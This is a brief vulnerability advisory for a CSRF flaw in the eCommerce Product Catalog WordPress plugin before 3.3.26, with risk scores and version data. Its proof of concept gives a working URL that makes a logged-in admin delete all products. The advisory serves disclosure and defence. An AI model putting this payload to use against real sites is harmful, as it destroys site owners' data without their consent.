eCommerce Product Catalog Plugin for WordPress < 3.3.26 - Products Deletion via CSRF

2023-11-1300:00:00

Krzysztof Zając (CERT PL)

wpscan.com

ecommerce

wordpress

csrf

vulnerability

attack

deletion

7 High

AI Score

Confidence

High

0.0005 Low

EPSS

Percentile

17.9%

JSON

Description The plugin does not have CSRF checks in some of its admin pages, which could allow attackers to make logged-in users perform unwanted actions via CSRF attacks, such as delete all products

PoC

Make a logged in admin open the URL below https://example.com/wp-admin/edit.php?post_type=al_product&page;=system.php&delete;_all_products&delete;_all_products_confirm=1

CPENameOperatorVersion
eq3.3.26

CPE	Name	Operator	Version
		eq	3.3.26